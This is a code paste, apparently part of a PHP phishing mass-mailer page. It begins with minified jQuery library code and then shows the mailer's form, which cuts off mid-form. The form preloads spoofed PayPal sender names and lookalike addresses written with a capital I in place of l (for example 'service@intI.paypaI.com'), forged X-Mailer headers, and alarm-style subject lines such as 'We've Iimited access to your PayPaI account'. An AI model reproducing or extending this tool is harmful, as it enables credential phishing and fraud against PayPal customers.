");if(cur){j=0;while((clazz=classes[j++])){if(cur.indexOf(" "+clazz+" ")<0){cur+=clazz+" "}}finalValue=jQuery.trim(cur);if(elem.className!==finalValue){elem.className=finalValue}}}}return this},removeClass:function(value){var classes,elem,cur,clazz,j,finalValue,i=0,len=this.length,proceed=arguments.length===0||typeof value==="string"&&value;if(jQuery.isFunction(value)){return this.each(function(j){jQuery(this).removeClass(value.call(this,j,this.className))})}if(proceed){classes=(value||"").match(rnotwhite)||[];for(;i<len;i++){elem=this[i];cur=elem.nodeType===1&&(elem.className?(" "+elem.className+" ").replace(rclass," "):"");if(cur){j=0;while((clazz=classes[j++])){while(cur.indexOf(" "+clazz+" ")>=0){cur=cur.replace(" "+clazz+" "," ")}}finalValue=value?jQuery.trim(cur):"";if(elem.className!==finalValue){elem.className=finalValue}}}}return this},toggleClass:function(value,stateVal){var type=typeof value;if(typeof stateVal==="boolean"&&type==="string"){return stateVal?this.addClass(value):this.removeClass(value)}if(jQuery.isFunction(value)){return this.each(function(i){jQuery(this).toggleClass(value.call(this,i,this.className,stateVal),stateVal)})}return this.each(function(){if(type==="string"){var className,i=0,self=jQuery(this),classNames=value.match(rnotwhite)||[];while((className=classNames[i++])){if(self.hasClass(className)){self.removeClass(className)}else{self.addClass(className)}}}else if(type===strundefined||type==="boolean"){if(this.className){jQuery._data(this,"__className__",this.className)}this.className=this.className||value===false?"":jQuery._data(this,"__className__")||""}})},hasClass:function(selector){var className=" "+selector+" ",i=0,l=this.length;for(;i<l;i++){if(this[i].nodeType===1&&(" "+this[i].className+" ").replace(rclass," ").indexOf(className)>=0){return true}}return false}});jQuery.each(("blur focus focusin focusout load resize scroll unload click dblclick "+"mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave "+"change select submit keydown keypress keyup error contextmenu").split(" "),function(i,name){jQuery.fn[name]=function(data,fn){return arguments.length>0?this.on(name,null,data,fn):this.trigger(name)}});jQuery.fn.extend({hover:function(fnOver,fnOut){return this.mouseenter(fnOver).mouseleave(fnOut||fnOver)},bind:function(types,data,fn){return this.on(types,null,data,fn)},unbind:function(types,fn){return this.off(types,null,fn)},delegate:function(selector,types,data,fn){return this.on(types,selector,data,fn)},undelegate:function(selector,types,fn){return arguments.length===1?this.off(selector,"**"):this.off(types,selector||"**",fn)}});var nonce=jQuery.now();var rquery=(/\?/);var rvalidtokens=/(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;jQuery.parseJSON=function(data){if(window.JSON&&window.JSON.parse){return window.JSON.parse(data+"")}var requireNonComma,depth=null,str=jQuery.trim(data+"");return str&&!jQuery.trim(str.replace(rvalidtokens,function(token,comma,open,close){if(requireNonComma&&comma){depth=0}if(depth===0){return token}requireNonComma=open||comma;depth+=!close-!open;return""}))?(Function("return "+str))():jQuery.error("Invalid JSON: "+data)};jQuery.parseXML=function(data){var xml,tmp;if(!data||typeof data!=="string"){return null}try{if(window.DOMParser){tmp=new DOMParser();xml=tmp.parseFromString(data,"text/xml")}else{xml=new ActiveXObject("Microsoft.XMLDOM");xml.async="false";xml.loadXML(data)}}catch(e){xml=undefined}if(!xml||!xml.documentElement||xml.getElementsByTagName("parsererror").length){jQuery.error("Invalid XML: "+data)}return xml};var ajaxLocParts,ajaxLocation,rhash=/#.*$/,rts=/([?&])_=[^&]*/,rheaders=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,rlocalProtocol=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,rnoContent=/^(?:GET|HEAD)$/,rprotocol=/^\/\//,rurl=/^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,prefilters={},transports={},allTypes="*/".concat("*");try{ajaxLocation=location.href}catch(e){ajaxLocation=document.createElement("a");ajaxLocation.href="";ajaxLocation=ajaxLocation.href}ajaxLocParts=rurl.exec(ajaxLocation.toLowerCase())||[];function addToPrefiltersOrTransports(structure){return function(dataTypeExpression,func){if(typeof dataTypeExpression!=="string"){func=dataTypeExpression;dataTypeExpression="*"}var dataType,i=0,dataTypes=dataTypeExpression.toLowerCase().match(rnotwhite)||[];if(jQuery.isFunction(func)){while((dataType=dataTypes[i++])){if(dataType.charAt(0)==="+"){dataType=dataType.slice(1)||"*";(structure[dataType]=structure[dataType]||[]).unshift(func)}else{(structure[dataType]=structure[dataType]||[]).push(func)}}}}}function inspectPrefiltersOrTransports(structure,options,originalOptions,jqXHR){var inspected={},seekingTransport=(structure===transports);function inspect(dataType){var selected;inspected[dataType]=true;jQuery.each(structure[dataType]||[],function(_,prefilterOrFactory){var dataTypeOrTransport=prefilterOrFactory(options,originalOptions,jqXHR);if(typeof dataTypeOrTransport==="string"&&!seekingTransport&&!inspected[dataTypeOrTransport]){options.dataTypes.unshift(dataTypeOrTransport);inspect(dataTypeOrTransport);return false}else if(seekingTransport){return!(selected=dataTypeOrTransport)}});return selected}return inspect(options.dataTypes[0])||!inspected["*"]&&inspect("*")}function ajaxExtend(target,src){var deep,key,flatOptions=jQuery.ajaxSettings.flatOptions||{};for(key in src){if(src[key]!==undefined){(flatOptions[key]?target:(deep||(deep={})))[key]=src[key]}}if(deep){jQuery.extend(true,target,deep)}return target}function ajaxHandleResponses(s,jqXHR,responses){var firstDataType,ct,finalDataType,type,contents=s.contents,dataTypes=s.dataTypes;while(dataTypes[0]==="*"){dataTypes.shift();if(ct===undefined){ct=s.mimeType||jqXHR.getResponseHeader("Content-Type")}}if(ct){for(type in contents){if(contents[type]&&contents[type].test(ct)){dataTypes.unshift(type);break}}}if(dataTypes[0]in responses){finalDataType=dataTypes[0]}else{for(type in responses){if(!dataTypes[0]||s.converters[type+" "+dataTypes[0]]){finalDataType=type;break}if(!firstDataType){firstDataType=type}}finalDataType=finalDataType||firstDataType}if(finalDataType){if(finalDataType!==dataTypes[0]){dataTypes.unshift(finalDataType)}return responses[finalDataType]}}function ajaxConvert(s,response,jqXHR,isSuccess){var conv2,current,conv,tmp,prev,converters={},dataTypes=s.dataTypes.slice();if(dataTypes[1]){for(conv in s.converters){converters[conv.toLowerCase()]=s.converters[conv]}}current=dataTypes.shift();while(current){if(s.responseFields[current]){jqXHR[s.responseFields[current]]=response}if(!prev&&isSuccess&&s.dataFilter){response=s.dataFilter(response,s.dataType)}prev=current;current=dataTypes.shift();if(current){if(current==="*"){current=prev}else if(prev!=="*"&&prev!==current){conv=converters[prev+" "+current]||converters["* "+current];if(!conv){for(conv2 in converters){tmp=conv2.split(" ");if(tmp[1]===current){conv=converters[prev+" "+tmp[0]]||converters["* "+tmp[0]];if(conv){if(conv===true){conv=converters[conv2]}else if(converters[conv2]!==true){current=tmp[0];dataTypes.unshift(tmp[1])}break}}}}if(conv!==true){if(conv&&s["throws"]){response=conv(response)}else{try{response=conv(response)}catch(e){return{state:"parsererror",error:conv?e:"No conversion from "+prev+" to "+current}}}}}}}return{state:"success",data:response}}jQuery.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:ajaxLocation,type:"GET",isLocal:rlocalProtocol.test(ajaxLocParts[1]),global:true,processData:true,async:true,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":allTypes,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":true,"text json":jQuery.parseJSON,"text xml":jQuery.parseXML},flatOptions:{url:true,context:true}},ajaxSetup:function(target,settings){return settings?ajaxExtend(ajaxExtend(target,jQuery.ajaxSettings),settings):ajaxExtend(jQuery.ajaxSettings,target)},ajaxPrefilter:addToPrefiltersOrTransports(prefilters),ajaxTransport:addToPrefiltersOrTransports(transports),ajax:function(url,options){if(typeof url==="object"){options=url;url=undefined}options=options||{};var parts,i,cacheURL,responseHeadersString,timeoutTimer,fireGlobals,transport,responseHeaders,s=jQuery.ajaxSetup({},options),callbackContext=s.context||s,globalEventContext=s.context&&(callbackContext.nodeType||callbackContext.jquery)?jQuery(callbackContext):jQuery.event,deferred=jQuery.Deferred(),completeDeferred=jQuery.Callbacks("once memory"),statusCode=s.statusCode||{},requestHeaders={},requestHeadersNames={},state=0,strAbort="canceled",jqXHR={readyState:0,getResponseHeader:function(key){var match;if(state===2){if(!responseHeaders){responseHeaders={};while((match=rheaders.exec(responseHeadersString))){responseHeaders[match[1].toLowerCase()]=match[2]}}match=responseHeaders[key.toLowerCase()]}return match==null?null:match},getAllResponseHeaders:function(){return state===2?responseHeadersString:null},setRequestHeader:function(name,value){var lname=name.toLowerCase();if(!state){name=requestHeadersNames[lname]=requestHeadersNames[lname]||name;requestHeaders[name]=value}return this},overrideMimeType:function(type){if(!state){s.mimeType=type}return this},statusCode:function(map){var code;if(map){if(state<2){for(code in map){statusCode[code]=[statusCode[code],map[code]]}}else{jqXHR.always(map[jqXHR.status])}}return this},abort:function(statusText){var finalText=statusText||strAbort;if(transport){transport.abort(finalText)}done(0,finalText);return this}};deferred.promise(jqXHR).complete=completeDeferred.add;jqXHR.success=jqXHR.done;jqXHR.error=jqXHR.fail;s.url=((url||s.url||ajaxLocation)+"").replace(rhash,"").replace(rprotocol,ajaxLocParts[1]+"//");s.type=options.method||options.type||s.method||s.type;s.dataTypes=jQuery.trim(s.dataType||"*").toLowerCase().match(rnotwhite)||[""];if(s.crossDomain==null){parts=rurl.exec(s.url.toLowerCase());s.crossDomain=!!(parts&&(parts[1]!==ajaxLocParts[1]||parts[2]!==ajaxLocParts[2]||(parts[3]||(parts[1]==="http:"?"80":"443"))!==(ajaxLocParts[3]||(ajaxLocParts[1]==="http:"?"80":"443"))))}if(s.data&&s.processData&&typeof s.data!=="string"){s.data=jQuery.param(s.data,s.traditional)}inspectPrefiltersOrTransports(prefilters,s,options,jqXHR);if(state===2){return jqXHR}fireGlobals=jQuery.event&&s.global;if(fireGlobals&&jQuery.active++===0){jQuery.event.trigger("ajaxStart")}s.type=s.type.toUpperCase();s.hasContent=!rnoContent.test(s.type);cacheURL=s.url;if(!s.hasContent){if(s.data){cacheURL=(s.url+=(rquery.test(cacheURL)?"&":"?")+s.data);delete s.data}if(s.cache===false){s.url=rts.test(cacheURL)?cacheURL.replace(rts,"$1_="+nonce++):cacheURL+(rquery.test(cacheURL)?"&":"?")+"_="+nonce++}}if(s.ifModified){if(jQuery.lastModified[cacheURL]){jqXHR.setRequestHeader("If-Modified-Since",jQuery.lastModified[cacheURL])}if(jQuery.etag[cacheURL]){jqXHR.setRequestHeader("If-None-Match",jQuery.etag[cacheURL])}}if(s.data&&s.hasContent&&s.contentType!==false||options.contentType){jqXHR.setRequestHeader("Content-Type",s.contentType)}jqXHR.setRequestHeader("Accept",s.dataTypes[0]&&s.accepts[s.dataTypes[0]]?s.accepts[s.dataTypes[0]]+(s.dataTypes[0]!=="*"?", "+allTypes+"; q=0.01":""):s.accepts["*"]);for(i in s.headers){jqXHR.setRequestHeader(i,s.headers[i])}if(s.beforeSend&&(s.beforeSend.call(callbackContext,jqXHR,s)===false||state===2)){return jqXHR.abort()}strAbort="abort";for(i in{success:1,error:1,complete:1}){jqXHR[i](s[i])}transport=inspectPrefiltersOrTransports(transports,s,options,jqXHR);if(!transport){done(-1,"No Transport")}else{jqXHR.readyState=1;if(fireGlobals){globalEventContext.trigger("ajaxSend",[jqXHR,s])}if(s.async&&s.timeout>0){timeoutTimer=setTimeout(function(){jqXHR.abort("timeout")},s.timeout)}try{state=1;transport.send(requestHeaders,done)}catch(e){if(state<2){done(-1,e)}else{throw e;}}}function done(status,nativeStatusText,responses,headers){var isSuccess,success,error,response,modified,statusText=nativeStatusText;if(state===2){return}state=2;if(timeoutTimer){clearTimeout(timeoutTimer)}transport=undefined;responseHeadersString=headers||"";jqXHR.readyState=status>0?4:0;isSuccess=status>=200&&status<300||status===304;if(responses){response=ajaxHandleResponses(s,jqXHR,responses)}response=ajaxConvert(s,response,jqXHR,isSuccess);if(isSuccess){if(s.ifModified){modified=jqXHR.getResponseHeader("Last-Modified");if(modified){jQuery.lastModified[cacheURL]=modified}modified=jqXHR.getResponseHeader("etag");if(modified){jQuery.etag[cacheURL]=modified}}if(status===204||s.type==="HEAD"){statusText="nocontent"}else if(status===304){statusText="notmodified"}else{statusText=response.state;success=response.data;error=response.error;isSuccess=!error}}else{error=statusText;if(status||!statusText){statusText="error";if(status<0){status=0}}}jqXHR.status=status;jqXHR.statusText=(nativeStatusText||statusText)+"";if(isSuccess){deferred.resolveWith(callbackContext,[success,statusText,jqXHR])}else{deferred.rejectWith(callbackContext,[jqXHR,statusText,error])}jqXHR.statusCode(statusCode);statusCode=undefined;if(fireGlobals){globalEventContext.trigger(isSuccess?"ajaxSuccess":"ajaxError",[jqXHR,s,isSuccess?success:error])}completeDeferred.fireWith(callbackContext,[jqXHR,statusText]);if(fireGlobals){globalEventContext.trigger("ajaxComplete",[jqXHR,s]);if(!(--jQuery.active)){jQuery.event.trigger("ajaxStop")}}}return jqXHR},getJSON:function(url,data,callback){return jQuery.get(url,data,callback,"json")},getScript:function(url,callback){return jQuery.get(url,undefined,callback,"script")}});jQuery.each(["get","post"],function(i,method){jQuery[method]=function(url,data,callback,type){if(jQuery.isFunction(data)){type=type||callback;callback=data;data=undefined}return jQuery.ajax({url:url,type:method,dataType:type,data:data,success:callback})}});jQuery._evalUrl=function(url){return jQuery.ajax({url:url,type:"GET",dataType:"script",async:false,global:false,"throws":true})};jQuery.fn.extend({wrapAll:function(html){if(jQuery.isFunction(html)){return this.each(function(i){jQuery(this).wrapAll(html.call(this,i))})}if(this[0]){var wrap=jQuery(html,this[0].ownerDocument).eq(0).clone(true);if(this[0].parentNode){wrap.insertBefore(this[0])}wrap.map(function(){var elem=this;while(elem.firstChild&&elem.firstChild.nodeType===1){elem=elem.firstChild}return elem}).append(this)}return this},wrapInner:function(html){if(jQuery.isFunction(html)){return this.each(function(i){jQuery(this).wrapInner(html.call(this,i))})}return this.each(function(){var self=jQuery(this),contents=self.contents();if(contents.length){contents.wrapAll(html)}else{self.append(html)}})},wrap:function(html){var isFunction=jQuery.isFunction(html);return this.each(function(i){jQuery(this).wrapAll(isFunction?html.call(this,i):html)})},unwrap:function(){return this.parent().each(function(){if(!jQuery.nodeName(this,"body")){jQuery(this).replaceWith(this.childNodes)}}).end()}});jQuery.expr.filters.hidden=function(elem){return elem.offsetWidth<=0&&elem.offsetHeight<=0||(!support.reliableHiddenOffsets()&&((elem.style&&elem.style.display)||jQuery.css(elem,"display"))==="none")};jQuery.expr.filters.visible=function(elem){return!jQuery.expr.filters.hidden(elem)};var r20=/%20/g,rbracket=/\[\]$/,rCRLF=/\r?\n/g,rsubmitterTypes=/^(?:submit|button|image|reset|file)$/i,rsubmittable=/^(?:input|select|textarea|keygen)/i;function buildParams(prefix,obj,traditional,add){var name;if(jQuery.isArray(obj)){jQuery.each(obj,function(i,v){if(traditional||rbracket.test(prefix)){add(prefix,v)}else{buildParams(prefix+"["+(typeof v==="object"?i:"")+"]",v,traditional,add)}})}else if(!traditional&&jQuery.type(obj)==="object"){for(name in obj){buildParams(prefix+"["+name+"]",obj[name],traditional,add)}}else{add(prefix,obj)}}jQuery.param=function(a,traditional){var prefix,s=[],add=function(key,value){value=jQuery.isFunction(value)?value():(value==null?"":value);s[s.length]=encodeURIComponent(key)+"="+encodeURIComponent(value)};if(traditional===undefined){traditional=jQuery.ajaxSettings&&jQuery.ajaxSettings.traditional}if(jQuery.isArray(a)||(a.jquery&&!jQuery.isPlainObject(a))){jQuery.each(a,function(){add(this.name,this.value)})}else{for(prefix in a){buildParams(prefix,a[prefix],traditional,add)}}return s.join("&").replace(r20,"+")};jQuery.fn.extend({serialize:function(){return jQuery.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var elements=jQuery.prop(this,"elements");return elements?jQuery.makeArray(elements):this}).filter(function(){var type=this.type;return this.name&&!jQuery(this).is(":disabled")&&rsubmittable.test(this.nodeName)&&!rsubmitterTypes.test(type)&&(this.checked||!rcheckableType.test(type))}).map(function(i,elem){var val=jQuery(this).val();return val==null?null:jQuery.isArray(val)?jQuery.map(val,function(val){return{name:elem.name,value:val.replace(rCRLF,"\r\n")}}):{name:elem.name,value:val.replace(rCRLF,"\r\n")}}).get()}});jQuery.ajaxSettings.xhr=window.ActiveXObject!==undefined?function(){return!this.isLocal&&/^(get|post|head|put|delete|options)$/i.test(this.type)&&createStandardXHR()||createActiveXHR()}:createStandardXHR;var xhrId=0,xhrCallbacks={},xhrSupported=jQuery.ajaxSettings.xhr();if(window.attachEvent){window.attachEvent("onunload",function(){for(var key in xhrCallbacks){xhrCallbacks[key](undefined,true)}})}support.cors=!!xhrSupported&&("withCredentials"in xhrSupported);xhrSupported=support.ajax=!!xhrSupported;if(xhrSupported){jQuery.ajaxTransport(function(options){if(!options.crossDomain||support.cors){var callback;return{send:function(headers,complete){var i,xhr=options.xhr(),id=++xhrId;xhr.open(options.type,options.url,options.async,options.username,options.password);if(options.xhrFields){for(i in options.xhrFields){xhr[i]=options.xhrFields[i]}}if(options.mimeType&&xhr.overrideMimeType){xhr.overrideMimeType(options.mimeType)}if(!options.crossDomain&&!headers["X-Requested-With"]){headers["X-Requested-With"]="XMLHttpRequest"}for(i in headers){if(headers[i]!==undefined){xhr.setRequestHeader(i,headers[i]+"")}}xhr.send((options.hasContent&&options.data)||null);callback=function(_,isAbort){var status,statusText,responses;if(callback&&(isAbort||xhr.readyState===4)){delete xhrCallbacks[id];callback=undefined;xhr.onreadystatechange=jQuery.noop;if(isAbort){if(xhr.readyState!==4){xhr.abort()}}else{responses={};status=xhr.status;if(typeof xhr.responseText==="string"){responses.text=xhr.responseText}try{statusText=xhr.statusText}catch(e){statusText=""}if(!status&&options.isLocal&&!options.crossDomain){status=responses.text?200:404}else if(status===1223){status=204}}}if(responses){complete(status,statusText,responses,xhr.getAllResponseHeaders())}};if(!options.async){callback()}else if(xhr.readyState===4){setTimeout(callback)}else{xhr.onreadystatechange=xhrCallbacks[id]=callback}},abort:function(){if(callback){callback(undefined,true)}}}}})}function createStandardXHR(){try{return new window.XMLHttpRequest()}catch(e){}}function createActiveXHR(){try{return new window.ActiveXObject("Microsoft.XMLHTTP")}catch(e){}}jQuery.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/(?:java|ecma)script/},converters:{"text script":function(text){jQuery.globalEval(text);return text}}});jQuery.ajaxPrefilter("script",function(s){if(s.cache===undefined){s.cache=false}if(s.crossDomain){s.type="GET";s.global=false}});jQuery.ajaxTransport("script",function(s){if(s.crossDomain){var script,head=document.head||jQuery("head")[0]||document.documentElement;return{send:function(_,callback){script=document.createElement("script");script.async=true;if(s.scriptCharset){script.charset=s.scriptCharset}script.src=s.url;script.onload=script.onreadystatechange=function(_,isAbort){if(isAbort||!script.readyState||/loaded|complete/.test(script.readyState)){script.onload=script.onreadystatechange=null;if(script.parentNode){script.parentNode.removeChild(script)}script=null;if(!isAbort){callback(200,"success")}}};head.insertBefore(script,head.firstChild)},abort:function(){if(script){script.onload(undefined,true)}}}}});var oldCallbacks=[],rjsonp=/(=)\?(?=&|$)|\?\?/;jQuery.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var callback=oldCallbacks.pop()||(jQuery.expando+"_"+(nonce++));this[callback]=true;return callback}});jQuery.ajaxPrefilter("json jsonp",function(s,originalSettings,jqXHR){var callbackName,overwritten,responseContainer,jsonProp=s.jsonp!==false&&(rjsonp.test(s.url)?"url":typeof s.data==="string"&&!(s.contentType||"").indexOf("application/x-www-form-urlencoded")&&rjsonp.test(s.data)&&"data");if(jsonProp||s.dataTypes[0]==="jsonp"){callbackName=s.jsonpCallback=jQuery.isFunction(s.jsonpCallback)?s.jsonpCallback():s.jsonpCallback;if(jsonProp){s[jsonProp]=s[jsonProp].replace(rjsonp,"$1"+callbackName)}else if(s.jsonp!==false){s.url+=(rquery.test(s.url)?"&":"?")+s.jsonp+"="+callbackName}s.converters["script json"]=function(){if(!responseContainer){jQuery.error(callbackName+" was not called")}return responseContainer[0]};s.dataTypes[0]="json";overwritten=window[callbackName];window[callbackName]=function(){responseContainer=arguments};jqXHR.always(function(){window[callbackName]=overwritten;if(s[callbackName]){s.jsonpCallback=originalSettings.jsonpCallback;oldCallbacks.push(callbackName)}if(responseContainer&&jQuery.isFunction(overwritten)){overwritten(responseContainer[0])}responseContainer=overwritten=undefined});return"script"}});jQuery.parseHTML=function(data,context,keepScripts){if(!data||typeof data!=="string"){return null}if(typeof context==="boolean"){keepScripts=context;context=false}context=context||document;var parsed=rsingleTag.exec(data),scripts=!keepScripts&&[];if(parsed){return[context.createElement(parsed[1])]}parsed=jQuery.buildFragment([data],context,scripts);if(scripts&&scripts.length){jQuery(scripts).remove()}return jQuery.merge([],parsed.childNodes)};var _load=jQuery.fn.load;jQuery.fn.load=function(url,params,callback){if(typeof url!=="string"&&_load){return _load.apply(this,arguments)}var selector,response,type,self=this,off=url.indexOf(" ");if(off>=0){selector=jQuery.trim(url.slice(off,url.length));url=url.slice(0,off)}if(jQuery.isFunction(params)){callback=params;params=undefined}else if(params&&typeof params==="object"){type="POST"}if(self.length>0){jQuery.ajax({url:url,type:type,dataType:"html",data:params}).done(function(responseText){response=arguments;self.html(selector?jQuery("<div>").append(jQuery.parseHTML(responseText)).find(selector):responseText)}).complete(callback&&function(jqXHR,status){self.each(callback,response||[jqXHR.responseText,status,jqXHR])})}return this};jQuery.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(i,type){jQuery.fn[type]=function(fn){return this.on(type,fn)}});jQuery.expr.filters.animated=function(elem){return jQuery.grep(jQuery.timers,function(fn){return elem===fn.elem}).length};var docElem=window.document.documentElement;function getWindow(elem){return jQuery.isWindow(elem)?elem:elem.nodeType===9?elem.defaultView||elem.parentWindow:false}jQuery.offset={setOffset:function(elem,options,i){var curPosition,curLeft,curCSSTop,curTop,curOffset,curCSSLeft,calculatePosition,position=jQuery.css(elem,"position"),curElem=jQuery(elem),props={};if(position==="static"){elem.style.position="relative"}curOffset=curElem.offset();curCSSTop=jQuery.css(elem,"top");curCSSLeft=jQuery.css(elem,"left");calculatePosition=(position==="absolute"||position==="fixed")&&jQuery.inArray("auto",[curCSSTop,curCSSLeft])>-1;if(calculatePosition){curPosition=curElem.position();curTop=curPosition.top;curLeft=curPosition.left}else{curTop=parseFloat(curCSSTop)||0;curLeft=parseFloat(curCSSLeft)||0}if(jQuery.isFunction(options)){options=options.call(elem,i,curOffset)}if(options.top!=null){props.top=(options.top-curOffset.top)+curTop}if(options.left!=null){props.left=(options.left-curOffset.left)+curLeft}if("using"in options){options.using.call(elem,props)}else{curElem.css(props)}}};jQuery.fn.extend({offset:function(options){if(arguments.length){return options===undefined?this:this.each(function(i){jQuery.offset.setOffset(this,options,i)})}var docElem,win,box={top:0,left:0},elem=this[0],doc=elem&&elem.ownerDocument;if(!doc){return}docElem=doc.documentElement;if(!jQuery.contains(docElem,elem)){return box}if(typeof elem.getBoundingClientRect!==strundefined){box=elem.getBoundingClientRect()}win=getWindow(doc);return{top:box.top+(win.pageYOffset||docElem.scrollTop)-(docElem.clientTop||0),left:box.left+(win.pageXOffset||docElem.scrollLeft)-(docElem.clientLeft||0)}},position:function(){if(!this[0]){return}var offsetParent,offset,parentOffset={top:0,left:0},elem=this[0];if(jQuery.css(elem,"position")==="fixed"){offset=elem.getBoundingClientRect()}else{offsetParent=this.offsetParent();offset=this.offset();if(!jQuery.nodeName(offsetParent[0],"html")){parentOffset=offsetParent.offset()}parentOffset.top+=jQuery.css(offsetParent[0],"borderTopWidth",true);parentOffset.left+=jQuery.css(offsetParent[0],"borderLeftWidth",true)}return{top:offset.top-parentOffset.top-jQuery.css(elem,"marginTop",true),left:offset.left-parentOffset.left-jQuery.css(elem,"marginLeft",true)}},offsetParent:function(){return this.map(function(){var offsetParent=this.offsetParent||docElem;while(offsetParent&&(!jQuery.nodeName(offsetParent,"html")&&jQuery.css(offsetParent,"position")==="static")){offsetParent=offsetParent.offsetParent}return offsetParent||docElem})}});jQuery.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(method,prop){var top=/Y/.test(prop);jQuery.fn[method]=function(val){return access(this,function(elem,method,val){var win=getWindow(elem);if(val===undefined){return win?(prop in win)?win[prop]:win.document.documentElement[method]:elem[method]}if(win){win.scrollTo(!top?val:jQuery(win).scrollLeft(),top?val:jQuery(win).scrollTop())}else{elem[method]=val}},method,val,arguments.length,null)}});jQuery.each(["top","left"],function(i,prop){jQuery.cssHooks[prop]=addGetHookIf(support.pixelPosition,function(elem,computed){if(computed){computed=curCSS(elem,prop);return rnumnonpx.test(computed)?jQuery(elem).position()[prop]+"px":computed}})});jQuery.each({Height:"height",Width:"width"},function(name,type){jQuery.each({padding:"inner"+name,content:type,"":"outer"+name},function(defaultExtra,funcName){jQuery.fn[funcName]=function(margin,value){var chainable=arguments.length&&(defaultExtra||typeof margin!=="boolean"),extra=defaultExtra||(margin===true||value===true?"margin":"border");return access(this,function(elem,type,value){var doc;if(jQuery.isWindow(elem)){return elem.document.documentElement["client"+name]}if(elem.nodeType===9){doc=elem.documentElement;return Math.max(elem.body["scroll"+name],doc["scroll"+name],elem.body["offset"+name],doc["offset"+name],doc["client"+name])}return value===undefined?jQuery.css(elem,type,extra):jQuery.style(elem,type,value,extra)},type,chainable?margin:undefined,chainable,null)}})});jQuery.fn.size=function(){return this.length};jQuery.fn.andSelf=jQuery.fn.addBack;if(typeof define==="function"&&define.amd){define("jquery",[],function(){return jQuery})}var _jQuery=window.jQuery,_$=window.$;jQuery.noConflict=function(deep){if(window.$===jQuery){window.$=_$}if(deep&&window.jQuery===jQuery){window.jQuery=_jQuery}return jQuery};if(typeof noGlobal===strundefined){window.jQuery=window.$=jQuery}return jQuery}));</script> </div>
  144.  
  145. <div class="col-sm-4" style="padding-left: 7.5px !important;">
  146. <div style="margin-bottom: 10px" class="input-group">
  147. <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i><b> Content Type</b></span>
  148. <select class="form-control" name="type">
  149. <option value="html" <?php if ($type=='html'){echo 'selected';}?> >text/html</option>
  150. <option value="plain" <?php if ($type=='plain'){echo 'selected';}?> >text/plain</option>
  151. </select>
  152. </div>
  153. <div style="margin-bottom: 10px" class="input-group">
  154. <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
  155. <select class="form-control" onChange="Pilih4(this);">
  156. <option value="">No X-Mailer</option>
  157. <option value="Gleez CMS 0.10.5">Gleez CMS 0.10.5</option>
  158. <option value="Gleez CMS 1.1.6">Gleez CMS 1.1.6</option>
  159. <option value="EDMAIL R6.00.02">EDMAIL R6.00.02</option>
  160. <option value="PHP/<?php echo(phpversion());?>">PHP/<?php echo(phpversion());?></option>
  161. </select>
  162. <input id="xmailer" type="text" class="form-control" name="xmailer" value="<?=$xmailer;?>" placeholder="X-Mailer">
  163. </div>
  164. </div>
  165. </div>
  166.  
  167. <div class="col-sm-8" style="padding-right: 7.5px !important;">
  168.  
  169. <div style="margin-bottom: 10px" class="input-group">
  170. <span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
  171. <select class="form-control" onChange="Pilih1(this);">
  172. <option value="">Select Sender Name</option>
  173. <option value="PayPaI">PayPaI</option>
  174. <option value="PaypaI Service">PaypaI Service</option>
  175. <option value="PaypaI Support">PaypaI Support</option>
  176. <option value="Account Service">Account Service</option>
  177. <option value="Account Support">Account Support</option>
  178. <option value="Service">Service</option>
  179. </select>
  180. <input id="sender-name" type="text" class="form-control" name="nama" value="<?=$nama;?>" placeholder="Sender Name">
  181. <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
  182. <select class="form-control kanan" onChange="Pilih2(this);">
  183. <option value="">Select Sender Email</option>
  184. <option value="service@intI.paypaI.com">service@intI.paypaI.com</option>
  185. <option value="service@paypaI.co.uk">service@paypaI.co.uk</option>
  186. <option value="paypaI@e.paypaI.co.uk">paypaI@e.paypaI.co.uk</option>
  187. <option value="no-reply">no-reply</option>
  188. <option value="admin">admin</option>
  189. <option value="service">service</option>
  190. <option value="same as target">same as target</option>
  191.  
  192. </select>
  193. <input id="sender-email" type="text" class="form-control kanan-l" name="mail" value="<?=$email;?>" placeholder="Sender Email">
  194. </div>
  195.  
  196. <div style="margin-bottom: 10px" class="input-group">
  197. <span class="input-group-addon"><i class="glyphicon glyphicon-comment"></i></span>
  198. <select class="form-control kanan" onChange="Pilih3(this);">
  199. <option value="">Select Email Subject</option>
  200. <option value="Your account has been Iimited untiI we hear from you">Your account has been Iimited untiI we hear from you</option>
  201. <option value="We're investigating a paypaI payment reversaI (Case ID #PP-003-498-237-832)">We're investigating a paypaI payment reversaI (Case ID #PP-003-498-237-832)</option>
  202. <option value="We've Iimited access to your PayPaI account">We've Iimited access to your PayPaI account</option>
  203. <option value="Account Notification">Account Notification</option>
  204. <option value="Attention: Your account status change">Attention: Your account status change</option>
  205.  
  206. </select>
  207. <input id="subject" type="text" class="form-control kanan-l" name="subject" value="<?=$subject;?>" placeholder="Subject">
  208. </div>
  209.  
  210. <div style="margin-bottom: 5px" class="input-group">
  211. <span class="input-group-addon"><i class="glyphicon glyphicon-paperclip"></i><b> Attach</b></span>
  212. <input id="attachment" class="form-control" style="padding: 0 !important" type="file" name="file">
  213. <span class="input-group-addon"><i class="glyphicon glyphicon-pencil"></i><b> Encode</b></span>
  214. <select class="form-control" name="encode">
